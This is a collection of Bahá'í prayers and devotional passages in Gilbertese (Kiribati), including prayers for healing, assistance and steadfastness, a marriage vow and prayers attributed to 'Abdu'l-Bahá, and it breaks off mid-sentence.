Kabanea ni Mwaaka, te Kabanea ni Wanawana.\nKaootai moaia Am toro, te Uea, bwa a aonga n Tataraiko; ao kaitiaki nanoia bwa a aonga n rairaki nakon bwerein Am bwai n aakoi ni karawa, ao ni kinaa Teuare Ngaia te Tia Kaotiotiko ao Rikin Ngainan Aro ni koaua. Ni koaua, boni Ngkoe te Uea n aonaaba ni kabane, Akea riki Te Atua bwa ti Ngkoe, te Aki Eenaki Arona, te Tautoroi bwaai nako.\nAu Uea! Karaoa Tamaroam bwa kanau, ao ike iai Ngkoe iai bwa nimau, ao Kukureim bwa au kaantaninga, ao Neboam bwa au mwakuri, ao Ururingam bwa raraou, ao mwaakan Ebiebim n tautaeka bwa te tia buokai n tain kainnanou, ao Mweengam bwa mweengau, ao au tabo ni maeka bwa te tekateka are Ko a tia ni katabua ni kamwaawaa man tiia ake a katokaaki i aoia naake a kainaki i tinaniku kaanga ai aron te rabunanimata Mairoum.\nNgkoe, ni koaua, te Kabanea ni Korakora, te Kabanea ni Mimitong, Moan te Mwaaka.\nKamooai, O Ngkoe Atuau, man karewen boiararan karaangan Am aki tootoki, ao katauai bwa Nna katoonga uanikain oioin Arom, O Ngkoe au Kaantaninga! Man itiakin nein Am tangira katauai bwa Nna nimma, O Ngkoe au Mimitong, ao kataua i bukiu bwa Nna maeka i aan nuun Am tabo ni kamanomano ae akea tokina O Ngkoe Ootau! Karikai bwa Nna aiwaa i nanon tawaanan Kaaniam, are bon i Matam, O Ngkoe are I rangi n tangiria, ao katekatekaai i angatain kaintokanuean Am nanoanga, , O Ngkoe are I nano Irouna! Kataua te ikeike bwa e na riaou man boiararan angin nako Kukureim, O Ngkoe au Katoki, ao katauai nakon rietan nako Baretaitin Oioim, O Ngkoe are I kamoamoaa! Katauai bwa Nna ongo tangin bwanaan nako Taoben Arom ae ti teuana, O Ngkoe te Oota-mwaaka, ao rinanon tamnein Mwaakam ao Korakoram kamaiuai, O Ngkoe te Tia Kakatauraoi i bukiu! Karikai bwa Nna teimatoa n tamnein Am tangira, O Ngkoe te Tia Kateimatoa, ao kamatoai waeu i nanon kawain Nanom are Ko tangiria. O Ngkoe are Ko karikai! Kataua bwa Nna maeka n akea tokina i nanon onarokan Arom n tamnei, i bon Matam, O Ngkoe are Ko bon nananoangaai, ao kateiraoai i aon kaintokan Mimitongim, O Ngkoe are te Tia Bwainai ni koaua! Tabekai rake nakon karawan Am tangira n aakoi, O Ngkoe te Tia Kamaiu, ao n Itoin Ngainan Am kairiiri kairiirai O Ngkoe are I matennanoia! Weteai bwa Nna mena i mwaain kaotiotan nako Arom n tamnei are a aki nooraki, O Ngkoe are Rikiau ao rietaatan are I kainnanoia, ao karikai bwa Nna manga oki nakon oioin boiararan Tamaroam are Ko na bon kaotiotia, O Ngkoe are bon Atuau!\nKo bon mwaaka ni karaoa are Ko nano iai. Boni Ngkoe, ni koaua, te kabanea n Rine, te Kabane ni Mimitong, te Kabane n Rietaata.\nAtuau! Atuau! Am toro aei, e a tia ni waaki Nakoim, n nanomatoa n tiotio nako n rereuan Am tangira, n nakonako ni kawain Am waaki, ni kakaantaninga Nanom, ni kariaria Am bwaintituaraoi, n onimakina Abanueam, ao ni kakukureiaki ni wainin Am bwaintangira. Atuau! Kamwaita karakaan arona n Am kananomatoa, ao karauakia n Neboam ao ingaingana n Am tangira.\nNi koaua, Bon Ngkoe Moan te Raoiroi are E onrake ni bwaaintituaraoi aika a kakannato! Bon akea Te Atua bwa ti Ngkoe, te Tia Kabwarabure, ao te Nanoanga.\nAtuau! Atuau! Nna kanga n rinea matuu ngkai a taratara mataia naake a mate ni kan Nooriko i bukin raureia ma Ngkoe ao Nna kanga ni wene ni motirawa ngkai a maraki n raraoma tamneia naake a Tangiriko i bukin Raroam mairouia?\nAu Uea, I anga tamneiu ma rabwatau nakon angatain Mwaakam ao Am kaawakin, ao I a kawenea atuu i aon uningau i nanon Korakoram, ao n tabekia n aron Nanom ma Kukureim. Boni Ngkoe ni koaua te Tia Kamaiu, te Tia Tararua, te Mwaaka, ao Moan te Korakora.\nNi Mwaakam, I aki bubutii i nanon matuu ke n taratarau bwaai nako ma ti ake Ko tangiri. Bon Am toro ngai i nanon Baim. Buokai n Am tangira ni karaoa te bwai are e na kataorababaa boiararan Kakukureiam. Aio ni koaua ae bon au kaantaninga ao aia kaantaninga naba naake a kukurei ni kaan ma Ngkoe. Ko na neboaki, Ngkoe te Uea n aonaaba.\n(Te tia ukora te Koaua! Ngkana ko tangira kaurean matam n tamnei iroun Te Atua, ko na riai n tangi Nakoina, tataro ao Kaaitaraa n te nukanibong ao kaangai:)\nTe Uea, I a tia n taraa Abanueam n te Nano teuana ni moau ao e a bua nanou i nanon marawan Am tangira! Te Uea! Kaotaa matau bwa Nna noora Am oota n roon te tairiki aei, ao kakukureiai ni kanenein Am tangira nakon te roro ae e raoiroi aei! Te Uea, kaongoai n Am wewete, ao kauka mataroan Am karawa i matau, n te burimauniaki nakon Mimitongim ma te katikaki nakon Tamaroam!\nBoni Ngkoe te Tia Anga te Aakoi, te Atataiaomata ao te Tia Kabwarai buure.\nE kabwaia te nne, ma te auti, ma te tabo, ma te kaawa, ma te nano, ma te maunga, ma te nne ni katantan, ma te nangananga, ma te marua, ma te aba, ma te marawa, ma te atimwakoro, ma te tawaana ike e a tia ni taboaki iai Aran te Atua, ma ni kamimitongaki Neboana.\nKatakei, ngkoe Au toro, Ana kibu nako Te Atua ake a tia ni karekeaki iroum, n aron katakeaia irouia naake a tia ni katikaki ni kaaniaki Nakoina, bwa ni karewerewen am anene e na kona ni bon kaura oin tamneim, ao ni katiki nanoia aomata ni kabane. Are e atongnga, i bon irouna n ana ru, kiibu ake kaotaki iroun Te Atua, Ana anera te Uea a na kauamaae nako ao a na tibwatibwai boiararan taeka ake a atongaki mai wiina, ao e na karikia naake a etieti ni bukibuki nanoia. E ngae ngke n te moa n tai e aki namakina mwiina, ma tamaroan te aroaro are e kaawakinaki i bukina e na bon tangiria n te tai ae waekoa ke n te tai rimwi ni karaoaki nanona n tamneina. Bwa bwaai aika a raba n Ana Kaotioti Te Atua a tia ni koreaki n tamaroan Nanon Teuare Ngaia Boton te korakora ao te rabakau.\nFirst line: O Thou Whose face is the object of my adoration\nO Ngkoe Are Moamoam bon boton au tangira, Are Tamaroam bon au nono, Are mwengam au kouru, Are kamoamoaakim bon au kantaninga, Are Am kakaawakin bon raaraou, Are Am tangira bon bukin karikau, Are atongan Aram bon karauakiu, Are Kaanim nakoiu bon au kantaninga, Are Menam I rarikiu bon nanou ae e korakora ao au kantaninga ae te kabanea n rietaata; I bubuti Nakoim bwa Ko na aki tukii mai irou bwaai ake Ko katauii ibukiia naake a rineaki ibuakoia Am toro. Kataubobongaai, ngkanne, ma tamaroan te aonnaaba aio ao ae e na roko.\nNgkoe, ni koaua, bon Ueaia aomata nako. Akea riki te Atua bwa ti Ngkoe, te Kabanea n Nanoanga, te Kabanea n Tituaraoi.\nAtuau, Maamaten Nanou, Au Uea, Au Tangira! Te newe ra ae e kona n atong au karabwarabwa Nakoim? I bon aki mwemweeuti, Ko bon kautai. I a tia n rairaki nako mai Iroum, Ko kaota te tituaraoi ni buokai n rairaki Nakoim. I riki n ai aron temanna ae e mate, Ko bon kamaiuai ma te ran ni kamaiu. I bon rai, ko a manga kamaiuai ma te raanga n ran man karawan Am taetaenikawai are e a tia ni wawaanako man Ana Kainikoroboki te Kabanea n Nanoanga.\nO te Tia Kakaawakin n Tamnei! Karikibwai ni kabane a bon rereitinako man Am tituaraoi; tai kamwaawaa man ranin Am tituaraoi, ao tai taua mai irouia marawan Am nanoanga. I bubutiko bwa ko na raonai ao ni buokai n taai nako ao iaan itera nako, ao n ukoukora man karawan Am tituaraoi Am akoi are mangkoa. Bon Ngkoe, ni koaua, Uean te tituaraoi, ao te Tia Tautaeka n abanuean te aki tootoki.\nAtonga: Mimitong Nakoim Are Ko a tia ni karikiia Naake a Tabu bwa a na kaotii aia aki konabwai i matan kaotioti aika uauaanao ni Korakoram, ao ni katoai Burabeti nako bwa A na ataia bwa bon Akea aroia i rarikin raneanean otanakon Mimitongim ae akea tokin mimitongina. I bubutiko, n Aram ae e a tia ni kabwaranakoi mataroan Karawa ao ni kaonrakeia kaain te Runga ni karawa ma te kukurei ae e bati, bwa Nna kona ni beku Ibukim, n te Bong aei, ao ni kakorakoraai bwa Nna karaoa nanon are Ko a tia ni baireia inanon Am Boki. Ko bon ataia, Au Uea, bwa tera ae e mena i nanou; ma Ngai I aki kona n ataa are e mena i Nanom. Ngkoe ni koaua te Kabanea n Ataibwai, te Atai Bwaai nako.\nO Ngkoe Atuau! I butiko, n Aram ae moan te mimitong, ni buokai ni bwaai ake a na kona ni buoka aia mwakuri Am toro bwa a na rikirake, ao Am kaawa ake a bubura bwa a na baikoa n rikirake. Ngkoe, ni koaua, iai mwaakam iaon bwaai ni kabane!\nAtuau, Boton au tangira, Kourun nanou, te Kabanea n Tituaraoi, te Kabanea n Nanoanga! Te maiu ni kabane bon mai Iroum, ao taian mwaaka ni kabane a wene inanon Baim ae akea tokin mwaakana. Ane Ko karietaata e bon kawaerakeaki iaoia riki anera, ao ni karekea te karinan are: 'Ni koaua, Ti mwemwekia nakon te tabo ae e rietaata!; ao ane ko kamaemaea e bon karinanoaki riki iaan te bubuntano, bon tiaki, e kee riki iaan te aakea. O Te Tia Tararua ni Karawa! E ngae ngke ti buakaka, a bati ara bure, ao ti aki kona n taubaang, ma ti bon ukoukora mai Iroum te 'kaintekatekan te koaua,' ao n ingainga nanora ni kan nora moan Te Uea ae akea tokin Mwaakana. Bon Am bwai te tautaeka, ao te tautaeka ni uea ni kabane bon Am bwai, ao tian te mwaaka e bobaraaki i matan Am tua. Bwaai ni kabane ake Ko karaoi bon te motiraoi ae e itiaki, bon tiaki naba, bon oioin te tangira. Ti teuana takian te ota mai buakon tamaroan Aram, te Kabane n Nanoanga, e a tau ibukin kamaunanakoan ao kamaunaan tanetanen nako te bure man te aonnaba, ao ti teuana te ikerake man angin Bongin Am Kaotioti e bon tau ibukin katamaroaakin te botanaomata ni kabane ma kunnikaina ae e boou. Aanga Korakoram, O Ngkoe ae Ko Mwaaka, nako aoia am karikibwai ake a mamaara, ao kamaiuia naake ai aroia maate, bwa a aonga ni kukurei ni Kuneko, ao bwa a na kona ni kairaki nakon marawan Am kakaawakin, ao n teimatoa n nene inanon Am Aro. Ngkana arona bwa boiararan Kamoamoaakim e kaotaki nakon taabo aika a raroanako rinanon taian newe aika a kakaokoro, i tinanikun te aono ni Mainiku ke i tinanikun te aono ni Maeao, ni koaua, ao e na bon, korakora tangirana ao ni mwannanoaki. E ngae n anne, ngkana neewe akanne, a kamwaawaia man te boiarara anne, ao ni koaua a na bon aki karekea tibwangaia ni kona ni mwaneweaki n te taeka ke tao n te iango. Ti bubutiko, O te Tia Tararua, ni kaota Am kawai nakoia ni kabane aomata, ao ni kairiia n te kawai ae ineti. Ngkoe, ni koaua, te Kabanea ni Mwaaka, te Kabanea n Ataibwai, te Kabanea n Noraaba.\nTe kamoamoa Nakoim, O Ngkoe te Uea Atuau, au Mwatita! Ko ongo ikenrawaia naake ake, e ngae ngke a ingainga ni kan nora Moamoam, ma a bon karaurenakoaki mai iroum ao a raroa nako man Am tabo. Ko kakoaua nakon tanginiweneia naake a tia ni kinako ni kabwaronakoi ibukin taemwengaakiia mai iroum ao ingaingan nanoia ni kan kaitibo ma Ngkoe. I bubutiko n nanoia naake akea nanoia ma bon ti kaubwain Uringakim ao kamoamoaakim, ao ake a kaotii akea bwa bon ti taian kakoaua ake a taekinaki ibukin Kakannatom ao taian kanikinaa ibukin kakoauaakin Korakoram, bwa ko na kabwaroa nako aoia Am toro ake a Tangiriko te korakora ni kona ni kaaniia kaintekatekan kaotiotin otanakon Mimitongim ao ni buokiia naake aia kantaninga a toka Iaom n rinnako inanon umwan Am mwamwanano ae e rooti taabo nako ao Am nanoanga.\nAkea karabaau, O Atuau! Kunnikainai ma kamwarain Am nanoanga n akoi. I bora n taka, anganai bwa Nna moi man marawan Am mwamwannano ae e titituaraoi. Te ianena ngai, katikai ni kaaniai nakon boton Am bwaintangira. I aoraki, tamrurua nako aou ranin kamaiu man Am tituaraoi. I kainaki n aki kainaomataaki, kanakoa mai aou taian kabaebae, ma ni mwaakan korakoram ao rinanon korakoran Nanomatoam, bwa I aonga ni kona n taabeibeiti iaon bain ni kiban te kamwawaaki nakon rietan taubukin Am karikibwai. Ngkoe, ni koaua, ae Ko karaoa are Ko rineia. Bon akea te Atua bwa ti Ngkoe, te Buoka n tain te Kanganga, te Kabanea ni Mimitong, te Aki Taueeaki Arona.\nFirst line: Laude be Thy Name, O Lord, our God! Thou art in truth the Knower\nE na kamoamoaaki Aram, O te Uea Atuara! Ngkoe ni koaua te Tia Atai bwaai aika a aki noonoraki. Kataua ibukira bwaai aika a tamaroa n aron ae Ko kona ni baireia man Am atatai ae e rabwatii bwaai ni kabane. Ngkoe ni koaua te Uea ae tautaekanii bwaai nako, te Kabanea ni Korakora, Moan te Tangiraki.\nKamoamoa ni kabane e bon Nakoim, O te Uea! Ti na ukoukora Am tituaraoi n te Bong are e a tia n rineaki ao ni katuka ara onimaki ae e bwanin Iroum, Are Ngkoe Ara Uea, Ko na Kamimitongaki, O te Atua! Kataua ibukira te bwai ae e raoiroi ma n tau bwa ti aonga ni kamwaawaira man bwaai ni kabane ma Ngkoe. Ni koaua, Ngkoe te Uea iaon aonnaba ni kabane.\nTe Atua! Kabooi mwiin aia mwakuri naake a waaki inanon te taotaona n nano inanon Am bong, ao kamatoai nanoia bwa a na nakonako n aki tibanako inanon kawain te Koaua. Kataua ngkanne, O te Uea, taian bwaintangira aika a tamaroa are e na kona ni kariaia riniia inanon Am Bwaretaiti ae e tabwanin kakukureina. Ko karietataaki Ngkoe, O te Uea te Atua. Kariaia Am kakabwaia ni karawa bwa a na ruonii mwenga ike kaaina a tia ni Kakoauako. Ni koaua, bon akea ae e Riaom ni karuoi taian kakabwaia n tamnei. Anganako, O te Atua, kaain te runga ake a na kona ni katokanikaiia Am toro aika a kakaonimaki. Ko bon karioi bwaai ake a karikaki rinanon mwaakan Am taeka n Aron ae Ko bon tangiria. Ngkoe ni koaua bon te Tia Tautaaeka, te Tia Karikibwai, te Kabanea ni Wanawana.\nAtonga: Te Atua bon te Tia Karaoi bwaai ni kabane. E anga kamarikeaia n te mwaiti ae e taonako nakoia naake E bon kataua ibukiia. Bon Ngaia te Tia Karikibwai, Boton bwaai ni kabane, te Tia Karioi bwaai nako, te Kabanea ni Korakora, te Karaoi bwaai nako, te Kabanea ni Wanawana. Ngaia te Tia Uouotii aara aika moan te rianako rinanon karawa ao aonteaba ao bwaai ake a wene i marenaia. Ni kabane a karaoa are E taku, ao ni kabane taan maeka iaon te aba ao i karawa a neboa Kamoamoaakina, ao Nakoina are ni kabane a na Okiria.\nO Atuau, au Uea ao Au Mwatita! I a tia ni kamwawaai mai irouia au utu ao ni ukoukora Riroum bwa Nna inaomata man bwaai ni kabane ake a maeka iaon te aba ao n tauraoi n taainako ni butimwaea are e kakukurei i Matam. Anganai bwaai aika a raraoi n te aro bwa e na karikai n inaomata man bwaai nako ma ti Ngkoe, ao kataua nakoiu te tibwanga ae e mwaiti man Am tituaraoi ae akea tiana. Bon Ngkoe, ni koaua, Uean te tituaraoi ae akea tiana.\nTe Uea! Ti nanorawawata, anganiira nanom; ti kainnano, kamenaa i aora te tibwanga man marawan Am kaubwai; ti tangira buokara, Ko na bon karauakiira; ti mangori, anganiira Mimitongim. Mannikiba i eta ao maan n te tawaana a karekei kanaia Mairoum ni katoa bong ao are a bon bane n reke i aan Am kakaawakin ao Am tangira n tituaraoi.\nTai kamwaawa ae e tangira buokana man Am Raoiroi ae kamiimi ao kawakiniia ni Mwaakam tamnei aika a kainnanoa Am Ataataiaomata.\nAnganiira kanara n te bong ae koraki ao kariaia rikiraken baika a tangiraki n te maiu aei, bwa e aonga n ae akea ae ti kainnanoia irarikim, bwa ti aonga n itabon ma Ngkoe ni bwaninra, bwa ti aonga n nakonako ni Kawaim ao ni kaotioti Kamimiim nako. Bon Ngkoe Moan te Mwaaka ao te Aakoi ao te Tia Katituaraoi i bukin te botannaomata.\nO Ngkoe te Uea ae Akoi! Ngaira am toro n Atibun Am Mataroa, ae I kamanoai n Am Mataroa ae e Tabu. Ti ukoukora kamanoara man akea riki bwa ti te boua ae e aintoa aio, n aki rairaki nakon te bwai teuana ibukin kamanoau ma bon ti Nakoim ibukin kamanoau. Kamanoira, kakabwaiaira, boutokaira, ao karikiira bwa ti na ti tangira kukurein Nanom, n tabotaboa Kamoamoaakim, n ti ira kawain te koaua, bwa ti aonga ni karekei kaubwaira ae e tau n te aro bwa ti na kaaki bwaai ni kabane bwa ti Ngkoe, ao ni karekei ara bwaintangira man marawan Am akoi, bwa ti aonga ni kekeiaki n taai nako ni karietaata Am Aro ao n tibwatibwai nako boiararan Kukurein Nanom, bwa ti aonga ni mwaninga taekara ao n ti katabeira ma Ngkoe, ao ni kaakeai bwaai ni kabane ao n ti karekerekeira ma Ngkoe.\nO te Tia Katauraoi Bwaai ni kabane, O Ngkoe te Tia Nanoanga! Anganiira Am tituaraoi ao Am tangira n akoi, Am bwaintangira ao Am tibwatibwa, ao kateimatoaira, bwa ti aonga ni karokoira n ara kouru. Bon Ngkoe te Korakora, te Konai bwaai nako, te Ataibwai, te Tia Noori bwaai ni kabane, ao, ni koaua, Bon Ngkoe te Tituaraoi, ao ni koaua, Bon Ngkoe te Kabanea n Nanoanga, ao ni koaua, Bon Ngkoe te Tia Kabwarai Buure, Are Nakoim a na riai ni kabwaraaki bure, Are Ko kabwarai naba buure ake kabanean te rawawata.\nTai kamwawaanako, O te Uea, te taibora ni kimwareirei are e a tia ni katauraoaki inanon Aram, ao tai tiringa te ai ae e ura are e a tia ni kauraaki man Am ai ae e aki maamate. Tai tuuka waanakon Am ran ni kamaiu ae e waawanako ma tangiraoin Mimitongim ao Ururingakim, ao tai kaakeai mai irouia Am toro taian boiarara man karewerewen Kukurein Nanom bwa a na ikeikena boiararan Am tangira.\nTe Uea! Onikii taian tatabeakin aika a karawaawata ake irouia Am aomata ake a tabu nakon te karauakaki, aia kanganga nakon te mwengaraoi, kamaemaeakiia nakon te mimitong, nanokawakiia nakon te kukurei ae moan te bati, O Ngkoe are Ko taua inanon Baim kaon te botanaomata ni kabane!\nNgkoe, ni Koaua, Bon Ngaia, n Ti Ngaia, te Mwaaka, te Kabanea n Atatai, te Kabanea ni Wanawana.\nO te Uea! Ti bon ngore; kakorakoraira. O te Atua! Ti bon bangabwaai; karikiira bwa ti na ataibwai. O te Uea! Ti bon maiu ni kainnano; karikiira bwa ti na kaubwai. O te Atua! Ti bon mate; kamaiuiira. O te Uea! Ti bon bwainrang; kamimitongiira inanon Am Abaniuea. Ngkana Ko buokiira, O te Uea, ti na bon riki n ai aron itoi aika a otamwaaka. Ngkana Ko aki buokiira, ti na riki n rinano riki nakon te aonnaba. O te Uea! Kakorakoraira. O te Atua! Karikiira bwa ti na tokanikai. O te Atua! Kariaia bwa ti na tokanikai iaon oin nanora ao ni kaakeai ara kaibwabwaru. O te Uea! Kabwaraira man kabaebaen te aonnaba n rabwata. O te Uea! Kamaiuira man ikeiken te Tamnei ae e Tabu n te aro bwa ti na kona n teirake ao ni beku Ibukim, ni karaoa Neboakim ao ni kakorakoraira inanon Am Abaniuea ma te kokoaua ae e tabwanin. O te Uea, Ngkoe te Korakora. O te Uea! Ngkoe te Nanoanga. O te Uea! Ngkoe te Nanoanga.\nO ngkoe are ko tabe n raira moam nakon te Atua! Kaina matam nakon bwaai ni kabane, ao kaukia nakon aonnaban te Kabanea ni Mimitong. Bubuti te bwai are ko tangiria ti mai Irouna; ukoukora te bwai are ko kakaaea ti mai Irouna. N ti teuana taraakim teutana Irouna ao E kona n anga tebubua te nga te kantaninga, n ti teuana katokaakin Matana teutana iaom ao E kona ni kamarurunga tebubua te nga te aoraki, n ti teuana katouan Atuuna ao E kona ni katokaa te bwainaoraki iaon taian ikoaki ni kabane, n ti teuana norakim teutana ao E kona n kamwaawai naano man taurekereken te karawaawata. E karaoa are E taku n aron ae E bon taku, ao tera riki kawaira ibukin karekean buokara? E kakoroi bukin Ana iango, e katauii bwaai ni kabane ake E tangiri. Ai ngaia are e raoiroi riki bwa ti na kabobaraaka atuura n ongotaeka, ao ni katuka ara mwioko iroun te Uea ae te Kabanea n Nanoanga.\nO Ngkoe te Tia Kamanomano ni karawa, ti kananoanga, anganiira Am ibuobuoki; taan nakonako n akea mwengara, anganiira Am tabo ni kamanomano; ti uamaenako, katiteuanaira; ti aiwa ni bua, ikotiira nako buakon Am nanai; ti rawaawata, anganiira tibwara ao bwaunara; ti taka, kairiira nakon te koburake n ran ni Kamaiu; ti rai, kakorakoraira bwa ti aonga n teirake ni buoka Am Aro ao n anga ngaira bwa taan kaburearo aika a maiu inanon kawain te kairiiri.\nAtuau, bon katokan aorakiu Aram, ao bon au bwai n aoraki Uringam. Tikum i rarikiu bon au kaantaninga ao Tangiram bon iriau. Bon kamarurungau Am atataiaomata ao otangau n te maiu aei ao ae e na roko. Bon ti Ngkoe te Atataiaomata, Wanawanaia wanawana ao Rabakauia rabakau.\nTe mare ni Baha'i bon te bonnano ao te iraorao imarenaia itera aika uoua. E ngae n anne ma a riai ni bwaina te rangi ni karaurau ao n riki n ikikinai anuaia i bon irouia. E riai te itoman ae e aki tootoki aio ni kamwaneauaaki n te boraraoi ae e nene, ao e riai n ae te kaantaninga bon te karikirakea te bonnano, te iraorao, ao te katiteuanaaki ao n roota te maiu ae akea tokina.\nBon te kainrou n te Bahá'í are te reita ae akea i aona ao kaotan raoi nanoia naaka uoman. Ao n aron anne, a riai ni kaota raoi nanoia ni koaua ma n atai nanoia ngaiia n tatabemaniia ao te berita are matoatoa are e karaoaki i marenaia e na riki bwa kabaeakiia n aki toki n iraorao ma n teimatoa n ti teuana n te maiu aei.\n'Abdu'l-Bahá\nTe Berita ni Mare, n te kibu are e na atongaki irouia n tatabemaniia te tia mareaki te aine ao te tia mareaki te mwane i mataia taan kakoaua uoman ke n raka ake a kariaiakaki iroun te Botaki n Tamnei bon aio, are e riai man te Boki are Moan te Tabu (Kitáb-i-Aqdas) are e kaangai:\n\"TI NA BON MAMAEKA NI KOAUA N ARON NANON TE ATUA.\"\nBoni Ngaia te Aakoi, te Nanoanga!\nE na neboaki Te Atua, are Ngkoangkoa are E aki maamate, are Akea Bibitakina, ao Akea tokina! Boni Ngaia are E a tia ni kakoaua n oin Arona bwa bon Ngaia ae ti Temanna, ae akea Tauan Arona, te Moa n Rietaata. Ti bon bane ni kakoaua bwa akea riki Te Atua bwa ti Ngaia ti ata Oioina n ti Ngaia, ni kaota Ngaia ae ti Temanna. E mamaeka n te tabo ae akea rotakina, n taubukin Rietaatana, man te mwaaka ae tataekin bwaai nako ma bon ti Ngaia, man te inaomata ni kaotii bwaai nako ma bon ti Ngaia. Ao ngke E iangoia n anga te raoiroi ao kakaraoan te raoiroi, ao ni baairea te aonaaba n etina, E rinanoi bwaai nako ao E karika Ana tua; mai buakon Ana tua E katea tuan te mare, bwa e na riki bwa te nono i bukin te mweraoi ao te kabwaia ao n riki bwa tabera are e na karaoaki nako naano man karawan te mwaaka are n Ana Boki are Moan te Tabu. E taku te mwaaka are bon Mimitongina: Iein, au aomata, bwa mairoumi ane e na kaoti ngaia are e na Uringai mai buakoia Au toro; bon aio teuana Au tua nakoimi; ongeaaba nako iai bwa te bwai n ibobuoki nakoimi.\nBoni Ngaia Te Atua! Ae Akea Kabotauana, n Rabakaum ae mwaaka Ko a tia ni kariaia te mare i aoia aomata, bwa man te roro teuana e na oti te roro teuana n te aonaaba ae bibitaki aei, ni karokoa, te maan are e na iai te aonaaba, bwa aonga ni katabeia ni Kaaniam ae ti Temanna, n aia mwakuri ao n aia nebo, ma Neboam i eta, Tangiram ao Kamoamoaam. \"I tuai ni kariki tamnei ao rabwata, ma a na riai n Taromauriai.\" Ma ngaia are iein ni karawan Ana Nanoanga mannikiba aika uoman aika man Ngaon Am tangira, ao karaoia bwa taan katotongaki nakon te raoiroi are akea tiana; bwa man botakiia naaka uoman aika marawan te tangira ao naon te tangira a na bwaro ni uoti momiin koauan te raoiroi nako aon biken te maiu. \"E a tia ni kabwarai marawa aika uoman aikai bwa a nang kaitibo: Mai iai te marena i marenaia are e aki konaa n riaoaki. Are bon Ana bwai n tangira te Uea, a na aki tabe iai? Are mai iai e na uoti moomi aika a kakaawaki ao aika a karako.\nTe Uea ae Aakoi! Karika te mare aei bwa e na kaotinakoi taian ane ao moomi mai iai. Boni Ngkoe te Mwaaka, te Moa ni Korakora, te Tia Kabwarai buure.\nKo na neboaki Ngkoe Atuau! Bon Am toro ni koaua aei ao Am toro naba te aine aei, ake a tia ni karikiia n ti te irikona i aan nuun Am nanoanga. Te Uea! Buokiira i nanon te aonaaba aei ao n Abanueam ni karekea nakoia baika a raoiroi man Am atataiaomata ao Am tangira. Te Uea! Kateimatoaiia i nanon aia beku i Bukim ao buokiia n Am kairiiri. Karikiia bwa kanikinaaean Aram n Am aonaaba ao kaawakiniia i nanon Am kairiiri aika akea tiaia n te maiu aei ao n ae e na roko. Te Uea! A bubutii nakon Abanuean Am aakoi, ma ni kan buokaki nakon te tabo ae Kaonotiko. E bon koaua bwa a mareaki bwa a na ira nanon Am tua. Karikiia bwa a na riki bwa kanikinaaean te rau ma te iraorao ni karokoa tokin te tai.\nBoni Ngkoe ae Moan te Mwaaka, Ko mena n taabo ni kabane ao Moan te Kakannato.\n'Abdu'l-Bahá\nTe Atua ae Atuau! Am tabonibai te aine aio e Tabotaboiko, e Onimakiniko, e raira moana Nakoim, ma ni Bubutiiko bwa Ko na kabwaroi Am bwaintituaraoi mai karawa nako aona, ma ni kaotia nakoina Am bwai n tamnei aika a raba, ma ni kaootaa n ootan Aroarom n Atua.\nAu Uea! Kamatairika matan buu te mwaane aio. Ko na kakukureia nanona man ootan Ataakim, Ko na katika ana iango nakon Tamaroam ae oota nako, kabebetea tamneina ni kaotakin Am raneanea aika bati nakoina.\nAu Uea! Taeka nako te rabuna are i matana. Kabwaka ni karau Am bwainaakoi aika a bati nako aona, kamangingia ni wainin Tangiram, karikia bwa temanna mai buakoia Am anera ake a toua aon te aba aio ni waeia, ma tamneia ngkanne a kiba rinanon karawa ake rietakaei. Karikia bwa te taura ae e oota mwaaka, are e oota nako n ootan Wanawanam i buakoia aomata.\nNi koaua, boni Ngkoe te Kakaawaki, te Akitoki n Angaanga, Teuare E Ukuuki Baina.\nE na neboaki Aram, au Uea ae Atuau. I Bubutiiko ni Mwaakam are e rabwati bwaai ni kabane ake a karikaki, ao ni Kakannatom are e a tia ni karikirakei bwaai nako, ao n Am Taeka ake a raba i nanon Am wanawana are Ko a tia ni karika iai karawa ma aonaaba, ake a na karekei arora n teimatoa n ara tangira i Bukim ao n ara ongeaaba nakon Nanom, ao ni kateimatoaiira bwa ti na taraa Matam, ao ni karaoa Neboam. Kakorakoraiira, Atuau, ni kataorababaa Am kanikina i buakon baike Ko kariki, ao ni kaawakina Am Onimaki i nanon Ueam. Ko a tia ni maiu i bon Iroum n aki kaantaninga man teuana are Ko karikia ao Ko na bon ti tiku n Arom anne n aki tootoki.\nI anganiko nanou ni kabane, ao I raira matau Nakoim, ao I kareke baiu ni mwiokon Am nanoanga ao n ingainga nakon nuun Am atataiaomata. Tai kakioai nako man Am mataroa, Atuau, n ai aron teuare e nanobuaka, ao tai taua Am tangira mairou, bwa ti Ngkoe ae I Ukoukoriko. Akea Te Atua riki i Rarikim, te Tia Kabwarabure ao Moan te Mwaaka.\nAm bwai te neboaki, Ngkoe are Moan te Tangiraki irouia naake a Ataiko.\nKaanim Ngkoe i rarikiu, bon nanou ao Kaotim bon katokan botuu, Nnem ae mimitong bon au toki, Aram bon katokan aorakiu, Am tangira bon kaotaakin nanou, Am beku bon kakukureiau are i eta, i eta! I butiiko n Aram, are Ko a tia n anga iai nakoia aika a Kinako te konaa n roota Am iango ae moan te rietaata; ao ni kariaia ake a Neboiko n rierake nakon Am tabo are e tabu ae katauraoaki i bukiia aika Ko akoiia; ni buokai ni kaaitara Moam, ni kareke matau Iroum, ao n taekina Mimitongim.\nAu Uea, bon ngai temanna are e a tia n mwanuokin bwaai nako ma ti Ngkoe, ao ni kaitaraa moan kaotin Am tangira, ao are e a tia ni mwaawa man bwaai nako, ma bon ti Ngkoe, n te aro ae Nna konaa ni kaania Matam. Taraai ngkai I tabeki matau nakon Am kaintoka ae raneanea n ootan Matam. Karuoa, ngkanne nako aou, Ngkoe ae tangiraki irou, n te aro ae Nna teimatoa iai i nanon Am Waaki, n te aro ae a aonga n aki tuukai nanokokorakiia aika a aki kakoauaa rairakiia Nakoim.\nBoni Ngkoe ni koaua Atuan te Mwaaka, te buoka n taiani kangaanga, Moan te Mimitong ao te Korakora.\nTe neboaki ao te kamimitongaki Ngkoe, Te Atua! Kataua bwa e na konaa ni waekoa n ria te bong are rootan Nanoaam ae tabu. Kakukurei nanora man kakain Am tangira ma kukurein Nanom ao anganiira te teimatoa bwa ti na konaa n nano n tauraoi n ongeaaba n Nanom ma Am Moti. Ni koaua Am atatai e rabwati ni kabane bwaai ake Ko a tia ni karikii ke Ko na karikii ao Korakoram ni karawa e ririaon te bwai teuana ke teuana are Ko a tia n taneweia ke Ko na taneweia bwa e na riki. Akea ae e na taromauriaki bwa tii Ngkoe, akea ae e na neboneboaki i Rarikim ao akea ae e na tangiraki bwa tii kukurein Nanom.\nN te koaua boni Ngkoe te Tia Tautaeka ae e moamoa, te Koaua ae riao, te Buoka n te Nibwa ni mate, te Maiu i bon 